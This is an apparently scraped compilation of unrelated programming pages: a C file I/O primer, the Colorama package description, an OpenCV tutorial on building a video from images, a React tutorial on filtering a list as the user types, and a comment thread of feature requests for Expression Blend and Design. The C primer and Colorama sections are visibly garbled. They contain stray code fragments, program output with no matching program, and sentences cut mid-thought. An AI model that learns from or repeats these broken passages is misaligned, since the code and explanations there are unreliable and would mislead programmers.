However, the "string" contains only format codes, no text, and the "variable list" contains the addresses of the variables, not the variables themselves. For example, the program below reads back the two numbers that were stored with "fprintf()" in the last example:
/* frdata.c */ #include <stdio.h> void main() { int n1; float n2; FILE *fp; fp = fopen( "data", "r" ); fscanf( fp, "%d %f", &n1, &n2 ); printf( "%d %f", n1, n2 ); fclose( fp ); }
The "fscanf()" function uses the same format codes as "fprintf()", with the familiar exceptions:
- There is no "%g" format code.
- The "%f" and "%e" format codes work the same.
- There is a "%h" format code for reading short integers. ); }
The program generates the output:
16 16 16 256 256 256 3.141593 3.141593 3.141593 3.141600
The "fwrite()" and "fread()" functions are used for binary file I/O. The syntax of "fwrite()" is as follows:
fwrite( <array_pointer>, <element_size>, <count>, <file_pointer> );
The array pointer is of type "void", and so the array can be of any type. The element size and count, which give the number of bytes in each array element and the number of elements in the array, are of type "size_t", which are equivalent to "unsigned int".
The "fread()" function similarly has the syntax:
fread( <array_pointer>, <element_size>, <count>, <file_pointer> );
The "fread()" function returns the number of items it actually read.. */ }
The "putc()" function is used to write a single character to an open file. It has the syntax:
putc( <character>, <file pointer> );
The "getc()" function similarly gets a single character from an open file. It has the syntax:
<character variable> = getc( <file pointer> );
The "getc()" function returns "EOF" on error. The console I/O functions "putchar()" and "getchar()" are really only special cases of "putc()" and
"getc()" that use standard output and input.
The "fputs()" function writes a string to a file. It has the syntax:
fputs( <string / character array>, <file pointer> );
The "fputs()" function will return an EOF value on error. For example:
fputs( "This is a test", fptr );
The "fgets()" function reads a string of characters from a file. It has the syntax:
fgets( <string>, <max_string_length>, <file_pointer> );
The "fgets" function reads a string from a file until if finds a newline or grabs <string_length-1> characters. It will return the value NULL on an error. ); }
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https://en.wikibooks.org/wiki/A_Little_C_Primer/C_File-IO_Through_Library_Functions
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Cross-platform colored terminal text.
Project description
- Download and docs:
-
- Source code & Development:
- would appear as gobbledygook in the the venerable Termcolor () or the fabulous Blessings (). ansi.sys on Windows machines, which provides the same behaviour for all applications running in terminals. Colorama is intended for situations where that isn’t easy (e.g., maybe your app doesn’t have an installer.)
Demo scripts in the source code repository print some colored text using ANSI sequences. Compare their output under Gnome-terminal’s built in ANSI handling, versus on Windows Command-Prompt using Colorama:
These screengrabs show that, on Windows, Colorama does not support ANSI ‘dim text’; it looks the same as ‘normal text’.
License
Dependencies
None, other than Python. Tested on Python 2.7, 3.4, 3.5 and 3.6.
Usage
Initialisation
Applications should initialise Colorama using:
from colorama import init init()
On Windows, calling init() will filter ANSI escape sequences out of any text sent to stdout or stderr, and replace them with equivalent Win32 calls.
On other platforms, calling init() has no effect (unless you request other optional functionality; see “Init Keyword Args”, below). By design, this permits applications to call init() unconditionally on all platforms, after which ANSI output should just work.
To stop using colorama before your program exits, simply call deinit(). This will restore stdout and stderr to their original values, so that Colorama is disabled. To resume using Colorama again, call reinit(); it is cheaper to calling init() again (but does the same thing). or if output is redirected (not a tty).
- Windows XP (CMD, Console2), Ubuntu (gnome-terminal, xterm), and OS X.
Some presumably valid ANSI sequences aren’t recognised (see details below), but to my knowledge nobody has yet complained about this. Puzzling.
See outstanding issues and wishlist: been inserted here simply to read more easily. ESC [ y;x f # position cursor at x across, y down ESC [ n A # move cursor n lines up ESC [ n B # move cursor n lines down ESC [ n C # move cursor n characters forward ESC [ n D # move cursor n characters backward # clear the screen ESC [ mode J # clear the screen # clear the line ESC [ mode K # clear the line
Multiple numeric params to the 'm' command can be combined into a single sequence: or stripped. It would be cool to add them though. Let me know if it would be useful for you, via the Issues on GitHub.
Development
Help and fixes welcome!
Running tests requires:
- Michael Foord’s mock module to be installed.
- Tests are written using 2010-era updates to unittest
To run tests:
python -m unittest discover -p *_test.py
This, like a few other handy commands, is captured in a Makefile.
If you use nose to run the tests, you must pass the -s flag; otherwise, nosetests applies its own proxy to stdout, which confuses the unit tests.
Thanks
- Marc Schlaich (schlamar) for a setup.py fix for Python2.5.
- Marc Abramowitz, reported & fixed a crash on exit with closed stdout, providing a solution to issue #7’s setuptools/distutils debate, and other fixes.
- User ‘eryksun’, for guidance on correctly instantiating ctypes.windll.
- Matthew McCormick for politely pointing out a longstanding crash on non-Win.
- Ben Hoyt, for a magnificent fix under 64-bit Windows.
- Jesse at Empty Square for submitting a fix for examples in the README.
- User ‘jamessp’, an observant documentation fix for cursor positioning.
- User ‘vaal1239’, Dave Mckee & Lackner Kristof for a tiny but much-needed Win7 fix.
- Julien Stuyck, for wisely suggesting Python3 compatible updates to README.
- Daniel Griffith for multiple fabulous patches.
- Oscar Lesta for a valuable fix to stop ANSI chars being sent to non-tty output.
- Roger Binns, for many suggestions, valuable feedback, & bug reports.
- Tim Golden for thought and much appreciated feedback on the initial idea.
- User ‘Zearin’ for updates to the README file.
- John Szakmeister for adding support for light colors
- Charles Merriam for adding documentation to demos
- Jurko for a fix on 64-bit Windows CPython2.5 w/o ctypes
- Florian Bruhin for a fix when stdout or stderr are None
- Thomas Weininger for fixing ValueError on Windows
- Remi Rampin for better Github integration and fixes to the README file
- Simeon Visser for closing a file handle using ‘with’ and updating classifiers to include Python 3.3 and 3.4
- Andy Neff for fixing RESET of LIGHT_EX colors.
- Jonathan Hartley for the initial idea and implementation.
Project details
Release history Release notifications
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
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https://pypi.org/project/colorama/
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Creating a video with a set of images using Python
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We can create videos with the pictures present using the OpenCv Library.
OpenCv is an open-source image processing library which contains various predefined methods for performing tasks related to Computer Vision,Machine Learning.
Inorder to create a video out of the images we are using Opencv & PIL libraries. PIL stands for Python Imaging Library which is used to resize the images to the average height so that a video can be created using OpenCv.
The below piece of code does the following
- Opens a directory which contains the images
- Iterates through all the images and calculates the mean-height and mean-width
- Resizes the images to the mean-height and mean-width
- Save the image back into the same directory
import os import cv2 from PIL import Image os.chdir("/home/ganesh/Desktop/video") total_width=0 total_height=0 for file in os.listdir('.'): im=Image.open(os.path.join("/home/ganesh/Desktop/video",file)) width,height=im.size total_width+=width total_height+=height numofimages=len(os.listdir('.')) mean_width=int(total_width/numofimages) #calculating the width for each image mean_height=int(total_height/numofimages) #calculating the height for each image for file in os.listdir('.'): if file.endswith(".jpg") or file.endswith(".jpeg") or file.endswith(".png"): im=Image.open(os.path.join("/home/ganesh/Desktop/video",file)) imResize=im.resize((mean_width,mean_height),Image.ANTIALIAS) imResize.save(file,'JPEG',quality=95)
os.chdir():
It is used to change the current working directory to the directory specified as parameter.
os.listdir():
It is used to list all the contents present in the given directory.
Image.open():
It is used to open the image in the path given as parameter.
file.endswith():
It returns true if the file name ends with the given suffix otherwise returns false.
im.resize():
It returns the resized image.It takes tuple which contains the height and width to which the image must be resized and also an optional parameter which is used as resampling filter.
im.save():
It is used to save the image to the required file extension and quality.
Generating a Video with the Images:
The below function generate_video() is used to make a video with all the images present in the directory.
def generate_video(): image_folder = '.' # Use the folder video_name = 'mygeneratedvideo.avi' os.chdir("/home/ganesh/Desktop/video") images = [img for img in os.listdir(image_folder) if img.endswith(".jpg") or img.endswith(".jpeg") or img.endswith("png")] fourcc = cv2.VideoWriter_fourcc(*'DIVX') # Array images should only consider # the image files ignoring others if any frame = cv2.imread(os.path.join(image_folder, images[0])) # setting the frame width, height width # the width, height of first image height, width, layers = frame.shape video = cv2.VideoWriter(video_name, fourcc, 1, (width, height)) # Appending the images to the video one by one for image in images: video.write(cv2.imread(os.path.join(image_folder,image))) # Deallocating memories taken for window creation cv2.destroyAllWindows() video.release() # releasing the video generated generate_video()
cv2.imread():
This function is used to read the image at specific location. It takes the absolute path of the image as parameter. It also takes an optional parameter flag which is used to read RGB or GREY Scale image.
cv2.VideoWriter():
It is used to write the frames to the video file specified. It takes various parameters like frames_per_second,frame_size and an optional parameter isColor.Here FourCC is a 4-byte code used to specify the video codec. It is platform dependent.
VideoWriter.write():
This function is used to write the next video frame. It takes the image as parameter and writes it to the video.
VideoWriter.release():
It is used to close the currently opened file.
Note :
Every video represents set of images that are shown at a certain speed called as frames.This speed is said to be Frames Per Second(fps).It decides the duration of the total video.The duration of the video can be calculated by following formula:
Duration_Of_Video = Number_Of_Frames/Frames_Per_Second
The above formula determines that the Frames_Per_Second(fps) is inversely proportion to the Duration_Of_Video i.e less fps increases the duration and more fps decrease duration.The duration of video can be calculated using Opencv as following:
import cv2 cap = cv2.VideoCapture("./video.mp4") fps = cap.get(cv2.CAP_PROP_FPS) #frames per second frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) #total number of frames duration = frame_count/fps
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https://iq.opengenus.org/creating-video-with-images-python/
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A common piece of functionality in many user interfaces is to allow users to filter a list interactively by typing into a text field. In fact, I wrote an article showing how to do this in WPF almost seven years ago.
I’m currently learning React, and I feel this is a good exercise to get the hang of several basic concepts. I am sharing this in case it helps anyone, but my React knowledge is quite limited so I don’t expect anyone to take this as some kind of best practice. I welcome feedback on any possible improvements.
Although this article is quite basic, it covers several topics including controlled components, state manipulation, and keys. I’m not getting into the details of one-way binding and JSX, and just assuming you’re already familiar with them.
Preparing the React Application
The first thing to do is create a new React application. Simply follow the instructions in “Getting Started with React“.
Remove everything from src/App.css, and remove the
<header> element from src/App.js as well as the logo import so that you are left with just this:
import React from 'react'; import './App.css'; function App() { return ( <div className="App"> </div> ); } export default App;
If you’re using Visual Studio Code, you can use
Ctrl+` (Control backtick) to bring up an integrated terminal. Either way, run
npm start from a terminal. You should see an empty page because we just removed everything from it.
Showing a List of Fruit
If we’re going to filter a list, the first thing we need is to show a list. This is easy enough to achieve:
function App() { const fruit = ['apple', 'banana', 'orange', 'grapefruit', 'mango', 'strawberry', 'peach', 'apricot']; return ( <div className="App"> <ul> {fruit.map(f => <li>{f}</li>)} </ul> </div> ); }
We’ve just got an array of strings representing different fruit, and we’re using the JavaScript
map() function to render each item within a list.
If you save the file, the browser should automatically reload and display the list of fruit as shown above. However, if you open the browser’s developer tools, you’ll notice a warning about some missing key.
When rendering a list of items, React needs each item to be given a unique key to keep track of changes and know when it needs to re-render. This is done by adding a
key attribute and binding it to something, as shown below.
{fruit.map(f => <li key={f}>{f}</li>)}
In our case, we can simply use the name of the fruit itself, but typically you will want to use a unique ID rather than the display string.
State and Controlled Components
The next thing we need is to take input from a text field. We can show a text field by simply adding it to the JSX:
<div className="App"> <p> Type to filter the list: <input id="filter" name="filter" type="text" /> </p> <ul> {fruit.map(f => <li key={f}>{f}</li>)} </ul> </div>
If we want to use the value of the text field (i.e. whatever the user is typing), then we need to link it to the component state. To get to this point, we’ll first introduce the
useState() hook as follows:
import React, { useState } from 'react'; import './App.css'; function App() { const fruit = ['apple', 'banana', 'orange', 'grapefruit', 'mango', 'strawberry', 'peach', 'apricot']; const [filter, setFilter] = useState(''); // ...
useState() is simply a function that helps us work with component state, which is where we store any view-related data such as the filter text in our particular eample. Its purpose and functionality might be confusing at first glance, especially because the name is not particularly clear.
Basically, it takes an initial state as a parameter (an empty string in the case of the filter text), and returns an array of two items: the current state of a particular variable, and a function that can assign its value. These roughly correspond to a getter and a setter, except that the getter is the actual value rather than a function (whereas the setter is indeed a function).
We use destructuring to extract these two into separate variables. What’s interesting is that we don’t really need to implement anything more than what you see here: even the
setFilter() function is given to us and we don’t need to define it.
Now that we have a way to get and set the filter text within the component’s state, we can update the input field to use this functionality:
<input id="filter" name="filter" type="text" value={filter} onChange={event => setFilter(event.target.value)} />
Specifically, we use the current value of
filter (from component state) to set the
value attribute of the input field, and provide a React event (note the casing which distinguishes it from the
onchange DOM event) that updates the component state whenever the value in the input field changes.
In this way, the filter text value in the DOM (input field) is always in sync with the component state, meaning that we can use the value in component state without ever having to touch the DOM directly. This is called a controlled component.
If you’re using the React Developer Tools extension for Chrome, you can see the state value being updated even though we haven’t implemented the list filtering functionality yet:
Filtering the List
Since it is now easy to retrieve and manipulate the value of the filter text, filtering the list simply becomes a matter of using the JavaScript
filter() function when rendering the list:
<ul> {fruit.filter(f => f.includes(filter) || filter === '') .map(f => <li key={f}>{f}</li>)} </ul>
Each time a user types in the input field, this changes the state of the component, which causes React to re-render it. The list is updated accordingly in real-time:
Note that this filtering is case sensitive, so it won’t work as expected if you type uppercase characters. I didn’t include this level of detail to keep things as concise as possible, but it is easy to adapt this to handle case insensitive filtering.
Complete Code
If you followed the instructions so far, your src/App.js should look like this:
import React, { useState } from 'react'; import './App.css'; function App() { const fruit = ['apple', 'banana', 'orange', 'grapefruit', 'mango', 'strawberry', 'peach', 'apricot']; const [filter, setFilter] = useState(''); return ( <div className="App"> <p> Type to filter the list: <input id="filter" name="filter" type="text" value={filter} onChange={event => setFilter(event.target.value)} /> </p> <ul> {fruit.filter(f => f.includes(filter) || filter === '') .map(f => <li key={f}>{f}</li>)} </ul> </div> ); } export default App;
Summary
You should take away the following from this article:
- When rendering lists of items, make sure to give each item a unique key.
- The state of a component contains view-related data.
- React hooks are simply functions providing ways to access state and life cycle.
useState()lets you get and set the value of a variable within state, and also provide an initial value.
- A controlled component manages input fields (DOM elements) by linking their value to the React component state. This is done by binding an input field’s value to the component state, while at the same time using events to update the value in the component state when the value in the DOM changes.
- State changes cause a React component to re-render.
One thought on “Filter List As You Type with React”
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https://gigi.nullneuron.net/gigilabs/filter-list-as-you-type-with-react/
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Even.)
PingBack from
TFS/SCC integration. We have been asking the Expression Web/Blend teams for it since before version 1 was released…isn’t it about time? I know I’m not the only one either; see the Expression product forums and connect sites.
All I need is Expression Design.
VS2008, SQL Server and Expression Design for my Developer Evangelism.
Don’t mean to complain but it seems like a waste for me to buy the entire Studio to get Design. 😉
Note: I do not use it for profit.
Even though we just shipped Expression Blend and Design 2 , we are already busy planning what to do for
In Blend, I’d like to see intellisense for the XAML, better control skinning support, and possibly some animation wizards that could assist with some of the more common scenarios.
Most importantly, I’d like to see some sort of "express" version that would let the hobbyist or small development shop be able to use Blend without shelling out $500.
– Intellisense in XAML. There are things you can’t do with the tool that are purely design related and require hand-coding XAML to get the effect you want. Limiting it to VS only is being bull-headed for no justifiable reason besides $$$.
– TFS integration. This seems like a no-brainer for Microsoft since it continually touts its designer-developer integration story.
– Better style creation and management
Even though we just shipped Expression Blend and Design 2 , we are already busy planning what to do for
There are several features present in VS2008 that are conspicuously absent from Blend, especially when it comes to the direct editing of the XAML. It is borderline inexcusable that the text search feature is on par with Notepad’s. Intellisense and a client plugin for TFS would also be helpful (and have already been mentioned.) Although Blend is targeted at "designers", in my experience as a developer, it has become an indispensible complementary tool to VS2008. As such, my advice really leans towards exploring and enhancing the developer experience, and make the 2 tools feel and funciton like part of a common suite.
– Source code control integration. TFS would be fine, but even generic VSSI-type interface would be fine.
– Better XAML editor ala Visual Studio.
– Expression Design available separately. Personally, I buy and use all of Expression Studio, but for some on my team being able to buy just Design would be better.
It’s interesting that people so far are focused on code. What I want to see is complete transparency to a code free designer friendly environment.
Basically, I want to be able to create interactive prototypes without every going into code (VS or even XAML view).
On a more real front. We REALLY need a true datagrid component/List view that works and is truly stylable. This missing component is a BIG miss in the current versions.
On the designer front, I really just want a tool that either is completely and flawlessly interroperable with Adobe products or 1:1 matches the functionality of Adobe Fireworks (not Photoshop; though I imagine many more people will want Photoshop and that is a shame as photoshop has the wrong feature set for prototype development).
+1 for Intellisense in the XAML editor in Blend
Full Silverlight 2 support (I know that is in the Blend 2.5 preview, but I want to stress that Blend is much more important to some developers as a Silverlight tool than it is for WPF)
Some built-in effects and animations that I can add to my project, just like the Flash IDE lets you
I’d like to see Design as part of my MSDN PREMIUM subscription for Software Developers so I could tell you what I’d like to see in the next version so a developer/designer such as myself could actually use it like I should already be able to.
Since Office hasn’t yet included Xaml import, Design should include EMF export.
—– Blend Requests —————————-
– XAML editor intellisense
– When in XAML editor, auto hide doc panels (or allow separate doc-panel preferences)
Blend seems to be very aggressive about “helping” by setting properties such as Width, Height, and Margin on elements in an attempt to maintain visual appearance as the user moves and manipulates elements in the designer. This is particularly frustrating when trying to design robust control templates where an explicitly defined Width, Height, and Margin is seldom desired. I find myself repeatedly having to “reset” properties on the same elements.
This is also problematic for general layout when sizing-to-content is desired, for example, when the content of a control changes size (think of localized strings within a button) or when resizing of a container (e.g.: a window) occurs. (This aggressive setting of properties also tends to bloat the generated XAML)
– Settings to control this behavior
– Solution folder support
– Remember what projects are expanded/collapsed
– XAML intellisense
1. The ability to tag various XAML elements as "designer only" or "code only" to allow design time only data, and prevent the designer from trying to load certain tags which only work in actual code.
2. The ability to specify a theme for a user control in a dll at design time without having to also include the theme at runtime in the controls resources. Right now you can only see themed controls/windows in .EXE projects with an Application xaml file.
3. The ability for the "Data" panel to display properties from CustomPropertyDescriptors.
4. Expand the "Data" panel to be a more general Data Binding panel and support drag and drop of any bindable property of a control or resource in the current panel. Any item’s properties in the resources for the current window/usercontrol should be able to be viewed/dragged/dropped directly from the "Data" panel onto the designer panel as a control. Any property in the "Data" panel dropped onto a property panel property should automatically create a a data binding.
5. More robust xaml parser that never fails to parse XAML files unless they are almost completely invalid. It shows whatever controls, elements that can be parsed (even with errors) and displays [X] for whatever does not parse. It also shows controls that generate exceptions, and tries to use alternate controls when possible for panels/containers. It displays warnings for controls which generate internal exceptions, and lists syntax errors for invalid XML.
6. Display embedded resources in a window/control in in the standard element tree as children of their parent elements, not in the seperate ‘resources’ panel. Allow them to be added, removed, cut/copy/pasted.
7. Allow blend and some of its basic panels to integrate directly into visual studio and optionally replace the "Cider" editor if it is installed. Why support two XAML editors?
8. Always allow design time size properties for all templates, windows, controls.
9. Provide easy interface for populating "designer data" for design time WYSIWYG viewing of data templates, items controls, etc.
10. Always show "something" when any XAML file is clicked. The first data template or style in a dictionary, whatever can be parsed of a window or control, etc. Never show a "can not display" window. This causes untold trips to a designers computer just to say "it’s not supposted to show anything when you click that".
Expression design:
1. Support the gradient capabilities of XAML gradients. It’s useless as a tool to export XAML without the full gradient transform parameters available in XAML.
I would very much like to see XAML import incorporated into Expression Design. Sometimes things are made entirely in Blend or made in Design and then further manipulated in Blend. It would be nice if it could be loaded back into Expression Design.
Intellisense in the XAML editor is one of the features I miss most!
I think the working environment would be nice if we could switch back and forth to the old black on white interface… sometimes easier to read. Even though the dark gray scene fits for nightsters…
First of all I have to say that I like Design a lot. Like most graphic designers my work is also being used in different media, both digital and print. In order to be the primary design tool, and not just a middle man, a lot of features are missing. And remember, to a graphic designer code is pretty scary! In Design I would like to:
– have full support for import and export of eps, wmf, emf, xaml, ai.
– se thumbnails of ai, psd and a lot of other formats when importing.
– be able to Copy/Paste in between Illustrator and Design without i.e. gradients being converted to pixel based graphics.
– have support for color management and ICC profiles.
– be able to change color system of all objects in a document to rgb or cmyk.
– to have access to PMS color libraries.
– to have warnings when saving/exporting files with mixed color mode.
– be able to limit the number of decimals when exporting to xaml.
– be able to choose registration point of objects permanently, i.e. top left corner.
– be able to edit resource dictionaries from VS projects without access to code.
– to have interoperability with TFS.
– have a graphic representation of a resource dictionary in Blend, like the cast view in Adobe Director. And be able to use Design as an external editor for individual resources in that dictionary from both Blend and VS.
– be able to make text follow a line or other object.
– have better support for creating icon-files. Make changes for different sizes and see a complete preview of them.
– be able to create symbol libraries used within the document, as a resource to the installation or as a resource within a group of graphic designers.
– be able to create a star formed shape with inner and outer radius measure.
– be able to choose a graphic form and by putting the cursor to one point get a dialogue to enter exact values for the object.
– be able to create different kind of graphs with the support of input tables.
– be able to set more than one set of crop marks.
– be able to adjust printing, i.e. icc-profile used, color separations, resolution, how pixel based pictures are treated etc.
I really look forward to the next release!
– Add Design Time visible property
– Better integration of "custom" data source provider that can produce sample data at design time without having to specify a datasource type.
– Better integration of databinding based on sample data produced at design time.
– Show missing properties of the storyboard
– Allow better edition of resource dictionary, create, clone, rename (with refactoring)
– Allow binding statically to resources
– Add localization / internationalization
– Allow to consume wcf web services
– Allow to bind commands, keygesture, inputgesture, etc
– Provide a way to see and remove identical property value from the xaml
Another one for intellisense for XAML. Still shocked it hasn’t got it.
Also:
Better databinding support. There really needs to be a better end-to-end solution for databinding ‘mocking’ so that you can simulate a data feed into an adhoc databound control. Basically, take a control and scan it for binding and then provide an input dialog that creates a mock object to simulate the data.
Resource editing. Unless I’m missing something I can’t edit a DrawingBrush resource.
Better logical/visual tree browsing. I can’t expand the tree if there are visual elements on the background property. In fact, the storyboard editor seems the wrong place for navigating the tree – why not just have a generic visual/logical tree browser? The ‘New’ buton on the tree should allow you to add any valid element based on references etc (like the intellisense editor in VS2008).
TFS/SCC integration. This should have been there since day one.
I would like it to be easier to edit brushes and resources even if they are not currently being used by an object. What would REALLY be great is if I could be looking at the XAML view and right click on a brush and edit it visually.
I would also like intellisense in the XAML view.
Thanks for the GREAT work!
As a designer I wish that Expression Design could get the alpha mask feature from Blend. And the ability to let strokes be inside or outside of a path (like in Illustrator CS3) would be really great especially when it comes to create pixel perfect designs.
Just some small suggestion for the ui in Design/Blend: the toolbar buttons should be at the left border of the screen to improve usability (Fitt’s law) and it would be handy to move the document by pressing the mouse wheel.
TFS integration… would be very beneficial to our project.
Adding a new user control to a folder in a project does not append the folder name to the namespace like in VS. I don’t know if this was fixed in 2, but I know it is a problem with Silverlight in 2.5. Blend also has issues finding controls that are in folders or sub-namespaces.
Intellisense.
I don’t know if this is available now, but a way to move a control up or down the visual tree, not just up or down siblings. Say I inserted a Grid as a child, and now I realized I want to add a border to that grid. If I add a new border as a child to the parent, it deletes the grid; the only option is to add the border in xaml view and then switch back to design view. Not a big hurdle, but it would be nice to be able to right-click and say "Move up" and "Move down" along with Send Backward/Forward. Or maybe just a way to easily insert a border between a parent and child.
I would like to see Design moving forward as a serious vector art tool. Some features I think it needs are:
1. "Gradient Mesh" tool like Illustrator has. This is a hugely useful tool.
2. "Live Color" tool ala illustrator. HUGELY, HUGELY useful tool. You must at least make a tool that allows you to group the colors used in an object as a swatch and drag and drop swatches onto objects to change the colors. It’s a pain to experiment with different color groups when you have lots of different gradients in an object. Global colors(Illustrator): if you have used a color from a Global Color swatch if you update the color in the swatch every instance of it in your document is changed.
3. A "Path Offset" tool. Say you have rectangular path or freeform path. It would be very useful to select the path and click "Offset" and select how many pixels or percent to make a new path that is perfectly offset from the original path. I use Rhino3D alot and you can offset a b-spline curve and it is an invaluable drawing tool. Download Rhino3D and try a curve>offset. It is a brilliant drawing tool and should just need an algorithm to get it to work ala:
Inkscape has it I think. Also have dynamic updating of a change to the original path if the offset path if it is linked to the original.
4. Array Tools. Being able to make an array of objects or paths from an original object or path. Array objects/paths along a path, or in a rectangular array, or in a polar array.
5. Start drawing an elipse from the center of the elipse instead of the upper left corner.
4. Some 3d tools would be nice for charts, text, etc.
5.Direct SVG import
6. Isolation blending : only use an objects blend mode with other objects it is grouped with.
7. Have strokes be set to inside or outside of a path. Awesome Illustrator advantage, would be great in Expression Design.
8. Incremental rotation of document canvas. 21%, 22%, 24%…etc.
Here are the point others have made that I too want to see happen:
1.be able to create symbol libraries used within the document, as a resource to the installation or as a resource within a group of graphic designers. (this would be really great)
2. have full support for import and export of eps, wmf, emf, xaml, ai.
3.be able to create different kind of graphs with the support of input tables.
4.Support the gradient capabilities of XAML gradients. It’s useless as a tool to export XAML without the full gradient transform parameters available in XAML.
Source Control integration! I can’t believe we don’t have this yet. Thanks.
Blend Features for Silverlight:
a) As part of my development cycle I need to continuously test my output in different resolutions (i.e. anywhere from 1024×768 to 1600×1200). In expression web they give you this feature to open a new browser session in different resolution. A great feature and time saver. However in Blend for SL, I constantly have to change resolutions manually to test, which is very time consuming.
b) It would be great to have a feature in the environment setting "Load last project at startup". If set to True, then Blend would load the last project worked on.
I open and close Blend a lot, and this would be a great time saver.
Secondly, it would be nice for Blend to read the VS Project setting, i.e. "Startup Page".
c) We really need some animation effects built into Bend For Silverlight to compete with Flash world. I’m pushing Blend and SL among developers/designer, but It’s hard to get near Flash effects.
Thank you for great job!
..Ben
Here is my wishlist (from )
1. extensive designtime support for cutom controls (Microsoft.Windows.Design.dll);
2. a plugin architecture to write true plugins for blend
3. better 3D content authoring support (mesh editing, texturing, animation) or give us an external tool with a workflow that really works (maybe the Microsoft Truespace team can do something for you ); currently building WPF 3D scenes that are little bit more complex is a very timeconsuming task even if you have very good 3D artists in place
4. XAML intellisense
5. XAML outlining (folding xml elements) like in Visual Studio
6. HSV mode in Blend’s colorpicker
7. sourcecontrol integration
– full import of AI and SVG files in Design, including texts, groups and object names.
More unified *sane* design of Blend GUI itself:
* calm ‘Windows standard’ color schema
* draggable sub-windows
Thanks for the feedback everyone, and please do keep the comments rolling!
Many of us on the team have looked through this, and there have even been some in-person and e-mail conversations around what you have all suggested.
Cheers!
Kirupa
* SCC integration is a must!
* Collapsable menus (Vis Studio stylee)
* XAML Intellisense
Great job so far!!!
I would like to see a feature in Blend similar to the search box that fillters the visible properties to only those that have been modified. This would be of particular value when Blend automagically updates properties when changing layout types.
Can we also have the ability to turn off the automagic property update when changing layout types, it’s very annoying and often requires digging through the xaml to reset these properties.
Can we also have source control integration and support for solution folders.
Can we please?
WPF Controls Emphess.Net: A MenuKiller Control – this article is a work in progress detailing how to
Hi Guys, here some suggestion:
Release some documentation about the Add-In feature (IAddIn);
Add the full designer support as in Cider;
Add Source control integration;
Add some paper production tools:
Ruler;
More support for Fixdocument and FlowDocument edition;
Have some sort of option to match font (word vs blend are not using the same matching font size)
Add better support to have custom dialog box for binding;
Have some "Move To" to feature when muti-selecting object on canvas (I build some with the IAddIn interface);
Make show snap grid color customazible;
Make snap marker available when try to mach two control on different container;
Add the ruler line tag feature as found in Vision to help alignement on several container;
I may have many other on my list, I will need to consult other team member.
Eric.Lacroix@wolterskluwer.com
Design: Listen, Listen, Listen to the community and stop making statements such as ‘The experts said…’ or ‘We did a survey and found…’ as none of the statements made so far reflect the requests made on the ED board. XAML export has gone backwards in V2 when you took away the ability to view the markup – I have no idea why you did this? The exporter is now confusing compared to what it was, and several other options have disappeared without explanation.
Design to Blend: At present its poor, it was supposed to be better in V2 but who knows what happened. For the ‘average’ user its confusing especially when moving text and images between Design and Blend and the option to Copy & Paste only adds to the confusion.
Blend: Overall pretty good and has some neater tools when compared with design such as the Brush Transform tool which is streets ahead of the comparable tool in Design.
I use VS2008 Express so adding events is not great as the event is copied to the clipboard rather than directly into the code. Maybe you could look at this. Not a big deal but if you are unsure on what you are doing then it is a bit of surprise.
Blend is good but Design needs to be a lot better. I never saw one post ever asking for slicing yet we get it in version 2 and 50% of the posts asked for better export options – clearly someone on the team knows better.
Ability to go into a mode where you click on objects to define tab order. I don’t believe this is part of Blend and I’ve seen many WPF apps with really messed up tab order. Setting it manually everywhere seems incredibly difficult for complex UI.
Designing à la Infopath : dropping controls on the design surface automatically creates a corresponding XML schema
Take most of the options and functionality of wpf in Expression Blend – convert to silverlight. Everything from motion tweens on a path to editing templates and being able to build a proper button and control animation within the storyboard. I shouldn’t need a dev team to help me control an animation in silverlight, when I can build / design an animation in wpf without a dev team. Just me two cents,
Thanks.
Blend:
– Intellisense in XAML.
– Designer as part of Premium Subscription.
– Better usability (sometimes is difficult to find the things)
Design
* Undo History that allows you to to see and/or select which undo(s) you want executed
* Scripting ability or XAML import
* More live effects like lightning, filtered lighting and shadow effects, sparkle effects, water ripples, etc.
Blend
* Glow and Bevel effects for Silverlight!!!!!! This should have been added in version 1!
* Better help files with more examples and samples
A refactoring of the context menu API (InvokeContextMenu / CreateContextMenu) to allow us to add items to it and manipulate it via AddIns (like Eric Lacroix said). Right now the menu is not persistent and is not accessible out of those two methods.
In the databinding dialog box, add better support for the current "DataContext" by listing available properties in the DataContext of the object.
My wishlist
1. In-place editing of data and control templates – like content pages with master pages
2. The ability to specify design-time only data sources to allow WYSIWYG visualization of templates by designers
3. An intelligent XAML editor
4. Ability to specify that the value of a particular control property is valid only at design-time.
5. Extensible control gallery
I’d like to see bitmap editing in Design. In addition, I think it would be very helpful to be able to use something other than Canvas to layout the objects. When exporting xaml from Design, everything is inside a canvas, however it’s often necessary for me to convert the layout to a StackPanel or some other layout control.
Thanks.
Design:
– a more approach to Photoshop style and scripts system.
– Better vector tools.
Blend:
– Templates for beginners users.
I’ve been using Expression Design a lot lately, and have compiled a Wishlist while working with it. You asked for it, so…
1. Drag more than 1 selected layer
2. Drag layers to bin
3. Ctrl and Shift click layers like in Photoshop CS3
4. Ctrl + -> in text jumps to the next word
5. Underline tekst in Text properties panel
6. Leading in Points and Pixels instead of Percentages
7. Deleting Invisible, but not locked layers is possible
8. Never automatically lock layers
9. Better text object access
10. A slimmer (less wide) Layers Panel
11. Layers in Layers
12. Drag in text to select characters (including Layer and Object names)
13. DoubleClick text is Select all text
14. Default Export format is an option in preferences that is remembered (not always PNG)
15. Kerning in Words with Alt+<- and Alt+->
16. Opening dialogs in same screen as application (when multiple monitors)
That’s all folks
Keep up the good work!
It’s been mentioned a zillion times, but I’ll add it once more: Intellisence to XAML-editor.
For Blend:
* XAML Intellisense
* Better support for dynamic layouts. I _always_ tweak my XAML by hand due to all the wonky margins that are added when I move stuff around in the designer.
* I often use Kaxaml to supplement my Blend work, because of it’s true WYSIWYG. So perhaps, a real preview pane (in addition to the design pane) that show what’s really going to be rendered.
Just a question:
Why would you want to rotate the entire canvas (the artboard) in Design? You can rotate your vector objects and your work, but I’m unsure of the benefit of rotating the entire workspace.
Apart from all the others (XAML Intellisense, Design coming seperate from the suite etc)… Ben Cooley’s point number 7…
7. Allow blend and some of its basic panels to integrate directly into visual studio and optionally replace the "Cider" editor if it is installed. Why support two XAML editors?
VSS Integration as Visual Studio currently offers..
One feature that i need is to draw shapes with variable properties in Design (this was in Expression Graphic Designer –for ex draw sqares but every time we draw the opacity or colour to be variable ,arbitrary)—it was a nice feature and maybe are more others from Expression Graphic Designer but i can’t remember now .
